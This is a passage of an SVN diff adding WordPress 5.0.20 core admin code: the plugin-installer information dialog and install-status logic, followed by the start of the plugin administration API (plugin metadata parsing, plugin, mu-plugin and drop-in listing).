+ *     @type string $url     Plugin installation URL.
+ *     @type string $version The most recent version of the plugin.
+ *     @type string $file    Plugin filename relative to the plugins directory.
+ * }
+ */
+function install_plugin_install_status($api, $loop = false) {
+	// This function is called recursively, $loop prevents further loops.
+	if ( is_array($api) )
+		$api = (object) $api;
+
+	// Default to a "new" plugin
+	$status = 'install';
+	$url = false;
+	$update_file = false;
+	$version = '';
+
+	/*
+	 * Check to see if this plugin is known to be installed,
+	 * and has an update awaiting it.
+	 */
+	$update_plugins = get_site_transient('update_plugins');
+	if ( isset( $update_plugins->response ) ) {
+		foreach ( (array)$update_plugins->response as $file => $plugin ) {
+			if ( $plugin->slug === $api->slug ) {
+				$status = 'update_available';
+				$update_file = $file;
+				$version = $plugin->new_version;
+				if ( current_user_can('update_plugins') )
+					$url = wp_nonce_url(self_admin_url('update.php?action=upgrade-plugin&plugin=' . $update_file), 'upgrade-plugin_' . $update_file);
+				break;
+			}
+		}
+	}
+
+	if ( 'install' == $status ) {
+		if ( is_dir( WP_PLUGIN_DIR . '/' . $api->slug ) ) {
+			$installed_plugin = get_plugins('/' . $api->slug);
+			if ( empty($installed_plugin) ) {
+				if ( current_user_can('install_plugins') )
+					$url = wp_nonce_url(self_admin_url('update.php?action=install-plugin&plugin=' . $api->slug), 'install-plugin_' . $api->slug);
+			} else {
+				$key = array_keys( $installed_plugin );
+				$key = reset( $key ); //Use the first plugin regardless of the name, Could have issues for multiple-plugins in one directory if they share different version numbers
+				$update_file = $api->slug . '/' . $key;
+				if ( version_compare($api->version, $installed_plugin[ $key ]['Version'], '=') ){
+					$status = 'latest_installed';
+				} elseif ( version_compare($api->version, $installed_plugin[ $key ]['Version'], '<') ) {
+					$status = 'newer_installed';
+					$version = $installed_plugin[ $key ]['Version'];
+				} else {
+					//If the above update check failed, Then that probably means that the update checker has out-of-date information, force a refresh
+					if ( ! $loop ) {
+						delete_site_transient('update_plugins');
+						wp_update_plugins();
+						return install_plugin_install_status($api, true);
+					}
+				}
+			}
+		} else {
+			// "install" & no directory with that slug
+			if ( current_user_can('install_plugins') )
+				$url = wp_nonce_url(self_admin_url('update.php?action=install-plugin&plugin=' . $api->slug), 'install-plugin_' . $api->slug);
+		}
+	}
+	if ( isset($_GET['from']) )
+		$url .= '&amp;from=' . urlencode( wp_unslash( $_GET['from'] ) );
+
+	$file = $update_file;
+	return compact( 'status', 'url', 'version', 'file' );
+}
+
+/**
+ * Display plugin information in dialog box form.
+ *
+ * @since 2.7.0
+ *
+ * @global string $tab
+ */
+function install_plugin_information() {
+	global $tab;
+
+	if ( empty( $_REQUEST['plugin'] ) ) {
+		return;
+	}
+
+	$api = plugins_api( 'plugin_information', array(
+		'slug' => wp_unslash( $_REQUEST['plugin'] ),
+		'is_ssl' => is_ssl(),
+		'fields' => array(
+			'banners' => true,
+			'reviews' => true,
+			'downloaded' => false,
+			'active_installs' => true
+		)
+	) );
+
+	if ( is_wp_error( $api ) ) {
+		wp_die( $api );
+	}
+
+	$plugins_allowedtags = array(
+		'a' => array( 'href' => array(), 'title' => array(), 'target' => array() ),
+		'abbr' => array( 'title' => array() ), 'acronym' => array( 'title' => array() ),
+		'code' => array(), 'pre' => array(), 'em' => array(), 'strong' => array(),
+		'div' => array( 'class' => array() ), 'span' => array( 'class' => array() ),
+		'p' => array(), 'br' => array(), 'ul' => array(), 'ol' => array(), 'li' => array(),
+		'h1' => array(), 'h2' => array(), 'h3' => array(), 'h4' => array(), 'h5' => array(), 'h6' => array(),
+		'img' => array( 'src' => array(), 'class' => array(), 'alt' => array() ),
+		'blockquote' => array( 'cite' => true ),
+	);
+
+	$plugins_section_titles = array(
+		'description'  => _x( 'Description',  'Plugin installer section title' ),
+		'installation' => _x( 'Installation', 'Plugin installer section title' ),
+		'faq'          => _x( 'FAQ',          'Plugin installer section title' ),
+		'screenshots'  => _x( 'Screenshots',  'Plugin installer section title' ),
+		'changelog'    => _x( 'Changelog',    'Plugin installer section title' ),
+		'reviews'      => _x( 'Reviews',      'Plugin installer section title' ),
+		'other_notes'  => _x( 'Other Notes',  'Plugin installer section title' )
+	);
+
+	// Sanitize HTML
+	foreach ( (array) $api->sections as $section_name => $content ) {
+		$api->sections[$section_name] = wp_kses( $content, $plugins_allowedtags );
+	}
+
+	foreach ( array( 'version', 'author', 'requires', 'tested', 'homepage', 'downloaded', 'slug' ) as $key ) {
+		if ( isset( $api->$key ) ) {
+			$api->$key = wp_kses( $api->$key, $plugins_allowedtags );
+		}
+	}
+
+	$_tab = esc_attr( $tab );
+
+	$section = isset( $_REQUEST['section'] ) ? wp_unslash( $_REQUEST['section'] ) : 'description'; // Default to the Description tab, Do not translate, API returns English.
+	if ( empty( $section ) || ! isset( $api->sections[ $section ] ) ) {
+		$section_titles = array_keys( (array) $api->sections );
+		$section = reset( $section_titles );
+	}
+
+	iframe_header( __( 'Plugin Installation' ) );
+
+	$_with_banner = '';
+
+	if ( ! empty( $api->banners ) && ( ! empty( $api->banners['low'] ) || ! empty( $api->banners['high'] ) ) ) {
+		$_with_banner = 'with-banner';
+		$low  = empty( $api->banners['low'] ) ? $api->banners['high'] : $api->banners['low'];
+		$high = empty( $api->banners['high'] ) ? $api->banners['low'] : $api->banners['high'];
+		?>
+		<style type="text/css">
+			#plugin-information-title.with-banner {
+				background-image: url( <?php echo esc_url( $low ); ?> );
+			}
+			@media only screen and ( -webkit-min-device-pixel-ratio: 1.5 ) {
+				#plugin-information-title.with-banner {
+					background-image: url( <?php echo esc_url( $high ); ?> );
+				}
+			}
+		</style>
+		<?php
+	}
+
+	echo '<div id="plugin-information-scrollable">';
+	echo "<div id='{$_tab}-title' class='{$_with_banner}'><div class='vignette'></div><h2>{$api->name}</h2></div>";
+	echo "<div id='{$_tab}-tabs' class='{$_with_banner}'>\n";
+
+	foreach ( (array) $api->sections as $section_name => $content ) {
+		if ( 'reviews' === $section_name && ( empty( $api->ratings ) || 0 === array_sum( (array) $api->ratings ) ) ) {
+			continue;
+		}
+
+		if ( isset( $plugins_section_titles[ $section_name ] ) ) {
+			$title = $plugins_section_titles[ $section_name ];
+		} else {
+			$title = ucwords( str_replace( '_', ' ', $section_name ) );
+		}
+
+		$class = ( $section_name === $section ) ? ' class="current"' : '';
+		$href = add_query_arg( array('tab' => $tab, 'section' => $section_name) );
+		$href = esc_url( $href );
+		$san_section = esc_attr( $section_name );
+		echo "\t<a name='$san_section' href='$href' $class>$title</a>\n";
+	}
+
+	echo "</div>\n";
+
+	?>
+<div id="<?php echo $_tab; ?>-content" class='<?php echo $_with_banner; ?>'>
+	<div class="fyi">
+		<ul>
+			<?php if ( ! empty( $api->version ) ) { ?>
+				<li><strong><?php _e( 'Version:' ); ?></strong> <?php echo $api->version; ?></li>
+			<?php } if ( ! empty( $api->author ) ) { ?>
+				<li><strong><?php _e( 'Author:' ); ?></strong> <?php echo links_add_target( $api->author, '_blank' ); ?></li>
+			<?php } if ( ! empty( $api->last_updated ) ) { ?>
+				<li><strong><?php _e( 'Last Updated:' ); ?></strong>
+					<?php
+					/* translators: %s: Time since the last update */
+					printf( __( '%s ago' ), human_time_diff( strtotime( $api->last_updated ) ) );
+					?>
+				</li>
+			<?php } if ( ! empty( $api->requires ) ) { ?>
+				<li>
+					<strong><?php _e( 'Requires WordPress Version:' ); ?></strong>
+					<?php
+					/* translators: %s: version number */
+					printf( __( '%s or higher' ), $api->requires );
+					?>
+				</li>
+			<?php } if ( ! empty( $api->tested ) ) { ?>
+				<li><strong><?php _e( 'Compatible up to:' ); ?></strong> <?php echo $api->tested; ?></li>
+			<?php } if ( ! empty( $api->requires_php ) ) { ?>
+				<li>
+					<strong><?php _e( 'Requires PHP Version:' ); ?></strong>
+					<?php
+					/* translators: %s: version number */
+					printf( __( '%s or higher' ), $api->requires_php );
+					?>
+				</li>
+			<?php } if ( isset( $api->active_installs ) ) { ?>
+				<li><strong><?php _e( 'Active Installations:' ); ?></strong> <?php
+					if ( $api->active_installs >= 1000000 ) {
+						_ex( '1+ Million', 'Active plugin installations' );
+					} elseif ( 0 == $api->active_installs ) {
+						_ex( 'Less Than 10', 'Active plugin installations' );
+					} else {
+						echo number_format_i18n( $api->active_installs ) . '+';
+					}
+					?></li>
+			<?php } if ( ! empty( $api->slug ) && empty( $api->external ) ) { ?>
+				<li><a target="_blank" href="<?php echo __( 'https://wordpress.org/plugins/' ) . $api->slug; ?>/"><?php _e( 'WordPress.org Plugin Page &#187;' ); ?></a></li>
+			<?php } if ( ! empty( $api->homepage ) ) { ?>
+				<li><a target="_blank" href="<?php echo esc_url( $api->homepage ); ?>"><?php _e( 'Plugin Homepage &#187;' ); ?></a></li>
+			<?php } if ( ! empty( $api->donate_link ) && empty( $api->contributors ) ) { ?>
+				<li><a target="_blank" href="<?php echo esc_url( $api->donate_link ); ?>"><?php _e( 'Donate to this plugin &#187;' ); ?></a></li>
+			<?php } ?>
+		</ul>
+		<?php if ( ! empty( $api->rating ) ) { ?>
+			<h3><?php _e( 'Average Rating' ); ?></h3>
+			<?php wp_star_rating( array( 'rating' => $api->rating, 'type' => 'percent', 'number' => $api->num_ratings ) ); ?>
+			<p aria-hidden="true" class="fyi-description"><?php printf( _n( '(based on %s rating)', '(based on %s ratings)', $api->num_ratings ), number_format_i18n( $api->num_ratings ) ); ?></p>
+		<?php }
+
+		if ( ! empty( $api->ratings ) && array_sum( (array) $api->ratings ) > 0 ) { ?>
+			<h3><?php _e( 'Reviews' ); ?></h3>
+			<p class="fyi-description"><?php _e( 'Read all reviews on WordPress.org or write your own!' ); ?></p>
+			<?php
+			foreach ( $api->ratings as $key => $ratecount ) {
+				// Avoid div-by-zero.
+				$_rating = $api->num_ratings ? ( $ratecount / $api->num_ratings ) : 0;
+				/* translators: 1: number of stars (used to determine singular/plural), 2: number of reviews */
+				$aria_label = esc_attr( sprintf( _n( 'Reviews with %1$d star: %2$s. Opens in a new window.', 'Reviews with %1$d stars: %2$s. Opens in a new window.', $key ),
+					$key,
+					number_format_i18n( $ratecount )
+				) );
+				?>
+				<div class="counter-container">
+						<span class="counter-label"><a href="https://wordpress.org/support/plugin/<?php echo $api->slug; ?>/reviews/?filter=<?php echo $key; ?>"
+						                               target="_blank" aria-label="<?php echo $aria_label; ?>"><?php printf( _n( '%d star', '%d stars', $key ), $key ); ?></a></span>
+						<span class="counter-back">
+							<span class="counter-bar" style="width: <?php echo 92 * $_rating; ?>px;"></span>
+						</span>
+					<span class="counter-count" aria-hidden="true"><?php echo number_format_i18n( $ratecount ); ?></span>
+				</div>
+				<?php
+			}
+		}
+		if ( ! empty( $api->contributors ) ) { ?>
+			<h3><?php _e( 'Contributors' ); ?></h3>
+			<ul class="contributors">
+				<?php
+				foreach ( (array) $api->contributors as $contrib_username => $contrib_profile ) {
+					if ( empty( $contrib_username ) && empty( $contrib_profile ) ) {
+						continue;
+					}
+					if ( empty( $contrib_username ) ) {
+						$contrib_username = preg_replace( '/^.+\/(.+)\/?$/', '\1', $contrib_profile );
+					}
+					$contrib_username = sanitize_user( $contrib_username );
+					if ( empty( $contrib_profile ) ) {
+						echo "<li><img src='https://wordpress.org/grav-redirect.php?user={$contrib_username}&amp;s=36' width='18' height='18' alt='' />{$contrib_username}</li>";
+					} else {
+						echo "<li><a href='{$contrib_profile}' target='_blank'><img src='https://wordpress.org/grav-redirect.php?user={$contrib_username}&amp;s=36' width='18' height='18' alt='' />{$contrib_username}</a></li>";
+					}
+				}
+				?>
+			</ul>
+			<?php if ( ! empty( $api->donate_link ) ) { ?>
+				<a target="_blank" href="<?php echo esc_url( $api->donate_link ); ?>"><?php _e( 'Donate to this plugin &#187;' ); ?></a>
+			<?php } ?>
+		<?php } ?>
+	</div>
+	<div id="section-holder" class="wrap">
+	<?php
+	$wp_version = get_bloginfo( 'version' );
+
+	if ( ! empty( $api->tested ) && version_compare( substr( $wp_version, 0, strlen( $api->tested ) ), $api->tested, '>' ) ) {
+		echo '<div class="notice notice-warning notice-alt"><p>' . __( '<strong>Warning:</strong> This plugin has <strong>not been tested</strong> with your current version of WordPress.' ) . '</p></div>';
+	} elseif ( ! empty( $api->requires ) && version_compare( substr( $wp_version, 0, strlen( $api->requires ) ), $api->requires, '<' ) ) {
+		echo '<div class="notice notice-warning notice-alt"><p>' . __( '<strong>Warning:</strong> This plugin has <strong>not been marked as compatible</strong> with your version of WordPress.' ) . '</p></div>';
+	}
+
+	foreach ( (array) $api->sections as $section_name => $content ) {
+		$content = links_add_base_url( $content, 'https://wordpress.org/plugins/' . $api->slug . '/' );
+		$content = links_add_target( $content, '_blank' );
+
+		$san_section = esc_attr( $section_name );
+
+		$display = ( $section_name === $section ) ? 'block' : 'none';
+
+		echo "\t<div id='section-{$san_section}' class='section' style='display: {$display};'>\n";
+		echo $content;
+		echo "\t</div>\n";
+	}
+	echo "</div>\n";
+	echo "</div>\n";
+	echo "</div>\n"; // #plugin-information-scrollable
+	echo "<div id='$tab-footer'>\n";
+	if ( ! empty( $api->download_link ) && ( current_user_can( 'install_plugins' ) || current_user_can( 'update_plugins' ) ) ) {
+		$status = install_plugin_install_status( $api );
+		switch ( $status['status'] ) {
+			case 'install':
+				if ( $status['url'] ) {
+					echo '<a data-slug="' . esc_attr( $api->slug ) . '" id="plugin_install_from_iframe" class="button button-primary right" href="' . $status['url'] . '" target="_parent">' . __( 'Install Now' ) . '</a>';
+				}
+				break;
+			case 'update_available':
+				if ( $status['url'] ) {
+					echo '<a data-slug="' . esc_attr( $api->slug ) . '" data-plugin="' . esc_attr( $status['file'] ) . '" id="plugin_update_from_iframe" class="button button-primary right" href="' . $status['url'] . '" target="_parent">' . __( 'Install Update Now' ) .'</a>';
+				}
+				break;
+			case 'newer_installed':
+				/* translators: %s: Plugin version */
+				echo '<a class="button button-primary right disabled">' . sprintf( __( 'Newer Version (%s) Installed'), $status['version'] ) . '</a>';
+				break;
+			case 'latest_installed':
+				echo '<a class="button button-primary right disabled">' . __( 'Latest Version Installed' ) . '</a>';
+				break;
+		}
+	}
+	echo "</div>\n";
+
+	iframe_footer();
+	exit;
+}
Index: /tags/5.0.20/src/wp-admin/includes/plugin.php
===================================================================
--- /tags/5.0.20/src/wp-admin/includes/plugin.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/includes/plugin.php	(revision 56912)
@@ -0,0 +1,1962 @@
+<?php
+/**
+ * WordPress Plugin Administration API
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/**
+ * Parses the plugin contents to retrieve plugin's metadata.
+ *
+ * The metadata of the plugin's data searches for the following in the plugin's
+ * header. All plugin data must be on its own line. For plugin description, it
+ * must not have any newlines or only parts of the description will be displayed
+ * and the same goes for the plugin data. The below is formatted for printing.
+ *
+ *     /*
+ *     Plugin Name: Name of Plugin
+ *     Plugin URI: Link to plugin information
+ *     Description: Plugin Description
+ *     Author: Plugin author's name
+ *     Author URI: Link to the author's web site
+ *     Version: Must be set in the plugin for WordPress 2.3+
+ *     Text Domain: Optional. Unique identifier, should be same as the one used in
+ *    		load_plugin_textdomain()
+ *     Domain Path: Optional. Only useful if the translations are located in a
+ *    		folder above the plugin's base path. For example, if .mo files are
+ *    		located in the locale folder then Domain Path will be "/locale/" and
+ *    		must have the first slash. Defaults to the base folder the plugin is
+ *    		located in.
+ *     Network: Optional. Specify "Network: true" to require that a plugin is activated
+ *    		across all sites in an installation. This will prevent a plugin from being
+ *    		activated on a single site when Multisite is enabled.
+ *      * / # Remove the space to close comment
+ *
+ * Some users have issues with opening large files and manipulating the contents
+ * for want is usually the first 1kiB or 2kiB. This function stops pulling in
+ * the plugin contents when it has all of the required plugin data.
+ *
+ * The first 8kiB of the file will be pulled in and if the plugin data is not
+ * within that first 8kiB, then the plugin author should correct their plugin
+ * and move the plugin data headers to the top.
+ *
+ * The plugin file is assumed to have permissions to allow for scripts to read
+ * the file. This is not checked however and the file is only opened for
+ * reading.
+ *
+ * @since 1.5.0
+ *
+ * @param string $plugin_file Path to the main plugin file.
+ * @param bool   $markup      Optional. If the returned data should have HTML markup applied.
+ *                            Default true.
+ * @param bool   $translate   Optional. If the returned data should be translated. Default true.
+ * @return array {
+ *     Plugin data. Values will be empty if not supplied by the plugin.
+ *
+ *     @type string $Name        Name of the plugin. Should be unique.
+ *     @type string $Title       Title of the plugin and link to the plugin's site (if set).
+ *     @type string $Description Plugin description.
+ *     @type string $Author      Author's name.
+ *     @type string $AuthorURI   Author's website address (if set).
+ *     @type string $Version     Plugin version.
+ *     @type string $TextDomain  Plugin textdomain.
+ *     @type string $DomainPath  Plugins relative directory path to .mo files.
+ *     @type bool   $Network     Whether the plugin can only be activated network-wide.
+ * }
+ */
+function get_plugin_data( $plugin_file, $markup = true, $translate = true ) {
+
+	$default_headers = array(
+		'Name' => 'Plugin Name',
+		'PluginURI' => 'Plugin URI',
+		'Version' => 'Version',
+		'Description' => 'Description',
+		'Author' => 'Author',
+		'AuthorURI' => 'Author URI',
+		'TextDomain' => 'Text Domain',
+		'DomainPath' => 'Domain Path',
+		'Network' => 'Network',
+		// Site Wide Only is deprecated in favor of Network.
+		'_sitewide' => 'Site Wide Only',
+	);
+
+	$plugin_data = get_file_data( $plugin_file, $default_headers, 'plugin' );
+
+	// Site Wide Only is the old header for Network
+	if ( ! $plugin_data['Network'] && $plugin_data['_sitewide'] ) {
+		/* translators: 1: Site Wide Only: true, 2: Network: true */
+		_deprecated_argument( __FUNCTION__, '3.0.0', sprintf( __( 'The %1$s plugin header is deprecated. Use %2$s instead.' ), '<code>Site Wide Only: true</code>', '<code>Network: true</code>' ) );
+		$plugin_data['Network'] = $plugin_data['_sitewide'];
+	}
+	$plugin_data['Network'] = ( 'true' == strtolower( $plugin_data['Network'] ) );
+	unset( $plugin_data['_sitewide'] );
+
+	// If no text domain is defined fall back to the plugin slug.
+	if ( ! $plugin_data['TextDomain'] ) {
+		$plugin_slug = dirname( plugin_basename( $plugin_file ) );
+		if ( '.' !== $plugin_slug && false === strpos( $plugin_slug, '/' ) ) {
+			$plugin_data['TextDomain'] = $plugin_slug;
+		}
+	}
+
+	if ( $markup || $translate ) {
+		$plugin_data = _get_plugin_data_markup_translate( $plugin_file, $plugin_data, $markup, $translate );
+	} else {
+		$plugin_data['Title']      = $plugin_data['Name'];
+		$plugin_data['AuthorName'] = $plugin_data['Author'];
+	}
+
+	return $plugin_data;
+}
+
+/**
+ * Sanitizes plugin data, optionally adds markup, optionally translates.
+ *
+ * @since 2.7.0
+ * @access private
+ * @see get_plugin_data()
+ */
+function _get_plugin_data_markup_translate( $plugin_file, $plugin_data, $markup = true, $translate = true ) {
+
+	// Sanitize the plugin filename to a WP_PLUGIN_DIR relative path
+	$plugin_file = plugin_basename( $plugin_file );
+
+	// Translate fields
+	if ( $translate ) {
+		if ( $textdomain = $plugin_data['TextDomain'] ) {
+			if ( ! is_textdomain_loaded( $textdomain ) ) {
+				if ( $plugin_data['DomainPath'] ) {
+					load_plugin_textdomain( $textdomain, false, dirname( $plugin_file ) . $plugin_data['DomainPath'] );
+				} else {
+					load_plugin_textdomain( $textdomain, false, dirname( $plugin_file ) );
+				}
+			}
+		} elseif ( 'hello.php' == basename( $plugin_file ) ) {
+			$textdomain = 'default';
+		}
+		if ( $textdomain ) {
+			foreach ( array( 'Name', 'PluginURI', 'Description', 'Author', 'AuthorURI', 'Version' ) as $field )
+				$plugin_data[ $field ] = translate( $plugin_data[ $field ], $textdomain );
+		}
+	}
+
+	// Sanitize fields
+	$allowed_tags = $allowed_tags_in_links = array(
+		'abbr'    => array( 'title' => true ),
+		'acronym' => array( 'title' => true ),
+		'code'    => true,
+		'em'      => true,
+		'strong'  => true,
+	);
+	$allowed_tags['a'] = array( 'href' => true, 'title' => true );
+
+	// Name is marked up inside <a> tags. Don't allow these.
+	// Author is too, but some plugins have used <a> here (omitting Author URI).
+	$plugin_data['Name']        = wp_kses( $plugin_data['Name'],        $allowed_tags_in_links );
+	$plugin_data['Author']      = wp_kses( $plugin_data['Author'],      $allowed_tags );
+
+	$plugin_data['Description'] = wp_kses( $plugin_data['Description'], $allowed_tags );
+	$plugin_data['Version']     = wp_kses( $plugin_data['Version'],     $allowed_tags );
+
+	$plugin_data['PluginURI']   = esc_url( $plugin_data['PluginURI'] );
+	$plugin_data['AuthorURI']   = esc_url( $plugin_data['AuthorURI'] );
+
+	$plugin_data['Title']      = $plugin_data['Name'];
+	$plugin_data['AuthorName'] = $plugin_data['Author'];
+
+	// Apply markup
+	if ( $markup ) {
+		if ( $plugin_data['PluginURI'] && $plugin_data['Name'] )
+			$plugin_data['Title'] = '<a href="' . $plugin_data['PluginURI'] . '">' . $plugin_data['Name'] . '</a>';
+
+		if ( $plugin_data['AuthorURI'] && $plugin_data['Author'] )
+			$plugin_data['Author'] = '<a href="' . $plugin_data['AuthorURI'] . '">' . $plugin_data['Author'] . '</a>';
+
+		$plugin_data['Description'] = wptexturize( $plugin_data['Description'] );
+
+		if ( $plugin_data['Author'] )
+			$plugin_data['Description'] .= ' <cite>' . sprintf( __('By %s.'), $plugin_data['Author'] ) . '</cite>';
+	}
+
+	return $plugin_data;
+}
+
+/**
+ * Get a list of a plugin's files.
+ *
+ * @since 2.8.0
+ *
+ * @param string $plugin Path to the main plugin file from plugins directory.
+ * @return array List of files relative to the plugin root.
+ */
+function get_plugin_files( $plugin ) {
+	$plugin_file = WP_PLUGIN_DIR . '/' . $plugin;
+	$dir = dirname( $plugin_file );
+
+	$plugin_files = array( plugin_basename( $plugin_file ) );
+
+	if ( is_dir( $dir ) && WP_PLUGIN_DIR !== $dir ) {
+
+		/**
+		 * Filters the array of excluded directories and files while scanning the folder.
+		 *
+		 * @since 4.9.0
+		 *
+		 * @param array $exclusions Array of excluded directories and files.
+		 */
+		$exclusions = (array) apply_filters( 'plugin_files_exclusions', array( 'CVS', 'node_modules', 'vendor', 'bower_components' ) );
+
+		$list_files = list_files( $dir, 100, $exclusions );
+		$list_files = array_map( 'plugin_basename', $list_files );
+
+		$plugin_files = array_merge( $plugin_files, $list_files );
+		$plugin_files = array_values( array_unique( $plugin_files ) );
+	}
+
+	return $plugin_files;
+}
+
+/**
+ * Check the plugins directory and retrieve all plugin files with plugin data.
+ *
+ * WordPress only supports plugin files in the base plugins directory
+ * (wp-content/plugins) and in one directory above the plugins directory
+ * (wp-content/plugins/my-plugin). The file it looks for has the plugin data
+ * and must be found in those two locations. It is recommended to keep your
+ * plugin files in their own directories.
+ *
+ * The file with the plugin data is the file that will be included and therefore
+ * needs to have the main execution for the plugin. This does not mean
+ * everything must be contained in the file and it is recommended that the file
+ * be split for maintainability. Keep everything in one file for extreme
+ * optimization purposes.
+ *
+ * @since 1.5.0
+ *
+ * @param string $plugin_folder Optional. Relative path to single plugin folder.
+ * @return array Key is the plugin file path and the value is an array of the plugin data.
+ */
+function get_plugins($plugin_folder = '') {
+
+	if ( ! $cache_plugins = wp_cache_get('plugins', 'plugins') )
+		$cache_plugins = array();
+
+	if ( isset($cache_plugins[ $plugin_folder ]) )
+		return $cache_plugins[ $plugin_folder ];
+
+	$wp_plugins = array ();
+	$plugin_root = WP_PLUGIN_DIR;
+	if ( !empty($plugin_folder) )
+		$plugin_root .= $plugin_folder;
+
+	// Files in wp-content/plugins directory
+	$plugins_dir = @ opendir( $plugin_root);
+	$plugin_files = array();
+	if ( $plugins_dir ) {
+		while (($file = readdir( $plugins_dir ) ) !== false ) {
+			if ( substr($file, 0, 1) == '.' )
+				continue;
+			if ( is_dir( $plugin_root.'/'.$file ) ) {
+				$plugins_subdir = @ opendir( $plugin_root.'/'.$file );
+				if ( $plugins_subdir ) {
+					while (($subfile = readdir( $plugins_subdir ) ) !== false ) {
+						if ( substr($subfile, 0, 1) == '.' )
+							continue;
+						if ( substr($subfile, -4) == '.php' )
+							$plugin_files[] = "$file/$subfile";
+					}
+					closedir( $plugins_subdir );
+				}
+			} else {
+				if ( substr($file, -4) == '.php' )
+					$plugin_files[] = $file;
+			}
+		}
+		closedir( $plugins_dir );
+	}
+
+	if ( empty($plugin_files) )
+		return $wp_plugins;
+
+	foreach ( $plugin_files as $plugin_file ) {
+		if ( !is_readable( "$plugin_root/$plugin_file" ) )
+			continue;
+
+		$plugin_data = get_plugin_data( "$plugin_root/$plugin_file", false, false ); //Do not apply markup/translate as it'll be cached.
+
+		if ( empty ( $plugin_data['Name'] ) )
+			continue;
+
+		$wp_plugins[plugin_basename( $plugin_file )] = $plugin_data;
+	}
+
+	uasort( $wp_plugins, '_sort_uname_callback' );
+
+	$cache_plugins[ $plugin_folder ] = $wp_plugins;
+	wp_cache_set('plugins', $cache_plugins, 'plugins');
+
+	return $wp_plugins;
+}
+
+/**
+ * Check the mu-plugins directory and retrieve all mu-plugin files with any plugin data.
+ *
+ * WordPress only includes mu-plugin files in the base mu-plugins directory (wp-content/mu-plugins).
+ *
+ * @since 3.0.0
+ * @return array Key is the mu-plugin file path and the value is an array of the mu-plugin data.
+ */
+function get_mu_plugins() {
+	$wp_plugins = array();
+	// Files in wp-content/mu-plugins directory
+	$plugin_files = array();
+
+	if ( ! is_dir( WPMU_PLUGIN_DIR ) )
+		return $wp_plugins;
+	if ( $plugins_dir = @ opendir( WPMU_PLUGIN_DIR ) ) {
+		while ( ( $file = readdir( $plugins_dir ) ) !== false ) {
+			if ( substr( $file, -4 ) == '.php' )
+				$plugin_files[] = $file;
+		}
+	} else {
+		return $wp_plugins;
+	}
+
+	@closedir( $plugins_dir );
+
+	if ( empty($plugin_files) )
+		return $wp_plugins;
+
+	foreach ( $plugin_files as $plugin_file ) {
+		if ( !is_readable( WPMU_PLUGIN_DIR . "/$plugin_file" ) )
+			continue;
+
+		$plugin_data = get_plugin_data( WPMU_PLUGIN_DIR . "/$plugin_file", false, false ); //Do not apply markup/translate as it'll be cached.
+
+		if ( empty ( $plugin_data['Name'] ) )
+			$plugin_data['Name'] = $plugin_file;
+
+		$wp_plugins[ $plugin_file ] = $plugin_data;
+	}
+
+	if ( isset( $wp_plugins['index.php'] ) && filesize( WPMU_PLUGIN_DIR . '/index.php') <= 30 ) // silence is golden
+		unset( $wp_plugins['index.php'] );
+
+	uasort( $wp_plugins, '_sort_uname_callback' );
+
+	return $wp_plugins;
+}
+
+/**
+ * Callback to sort array by a 'Name' key.
+ *
+ * @since 3.1.0
+ * @access private
+ */
+function _sort_uname_callback( $a, $b ) {
+	return strnatcasecmp( $a['Name'], $b['Name'] );
+}
+
+/**
+ * Check the wp-content directory and retrieve all drop-ins with any plugin data.
+ *
+ * @since 3.0.0
+ * @return array Key is the file path and the value is an array of the plugin data.
+ */
+function get_dropins() {
+	$dropins = array();
+	$plugin_files = array();
+
+	$_dropins = _get_dropins();
+
+	// These exist in the wp-content directory
+	if ( $plugins_dir = @ opendir( WP_CONTENT_DIR ) ) {
+		while ( ( $file = readdir( $plugins_dir ) ) !== false ) {
+			if ( isset( $_dropins[ $file ] ) )
+				$plugin_files[] = $file;
+		}
+	} else {
+		return $dropins;
+	}
+
+	@closedir( $plugins_dir );
+
+	if ( empty($plugin_files) )
+		return $dropins;
+
+	foreach ( $plugin_files as $plugin_file ) {
+		if ( !is_readable( WP_CONTENT_DIR . "/$plugin_file" ) )
+			continue;
+		$plugin_data = get_plugin_data( WP_CONTENT_DIR . "/$plugin_file", false, false ); //Do not apply markup/translate as it'll be cached.
+		if ( empty( $plugin_data['Name'] ) )
+			$plugin_data['Name'] = $plugin_file;
+		$dropins[ $plugin_file ] = $plugin_data;
+	}
+
+	uksort( $dropins, 'strnatcasecmp' );
+
+	return $dropins;
+}
+
+/**
+ * Returns drop-ins that WordPress uses.
+ *
+ * Includes Multisite drop-ins only when is_multisite()
+ *
+ * @since 3.0.0
+ * @return array Key is file name. The value is an array, with the first value the
+ *	purpose of the drop-in and the second value the name of the constant that must be
+ *	true for the drop-in to be used, or true if no constant is required.
+ */
+function _get_dropins() {
+	$dropins = array(
+		'advanced-cache.php' => array( __( 'Advanced caching plugin.'       ), 'WP_CACHE' ), // WP_CACHE
+		'db.php'             => array( __( 'Custom database class.'         ), true ), // auto on load
+		'db-error.php'       => array( __( 'Custom database error message.' ), true ), // auto on error
+		'install.php'        => array( __( 'Custom installation script.'    ), true ), // auto on installation
+		'maintenance.php'    => array( __( 'Custom maintenance message.'    ), true ), // auto on maintenance
+		'object-cache.php'   => array( __( 'External object cache.'         ), true ), // auto on load
+	);
+
+	if ( is_multisite() ) {
+		$dropins['sunrise.php'       ] = array( __( 'Executed before Multisite is loaded.' ), 'SUNRISE' ); // SUNRISE
+		$dropins['blog-deleted.php'  ] = array( __( 'Custom site deleted message.'   ), true ); // auto on deleted blog
+		$dropins['blog-inactive.php' ] = array( __( 'Custom site inactive message.'  ), true ); // auto on inactive blog
+		$dropins['blog-suspended.php'] = array( __( 'Custom site suspended message.' ), true ); // auto on archived or spammed blog
+	}
+
+	return $dropins;
+}
+
+/**
+ * Determines whether a plugin is active.
+ *
+ * Only plugins installed in the plugins/ folder can be active.
+ *
+ * Plugins in the mu-plugins/ folder can't be "activated," so this function will
+ * return false for those plugins.
+ * 
+ * For more information on this and similar theme functions, check out
+ * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/ 
+ * Conditional Tags} article in the Theme Developer Handbook.
+ * 
+ * @since 2.5.0
+ *
+ * @param string $plugin Path to the main plugin file from plugins directory.
+ * @return bool True, if in the active plugins list. False, not in the list.
+ */
+function is_plugin_active( $plugin ) {
+	return in_array( $plugin, (array) get_option( 'active_plugins', array() ) ) || is_plugin_active_for_network( $plugin );
+}
+
+/**
+ * Determines whether the plugin is inactive.
+ *
+ * Reverse of is_plugin_active(). Used as a callback.
+ * 
+ * For more information on this and similar theme functions, check out
+ * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/ 
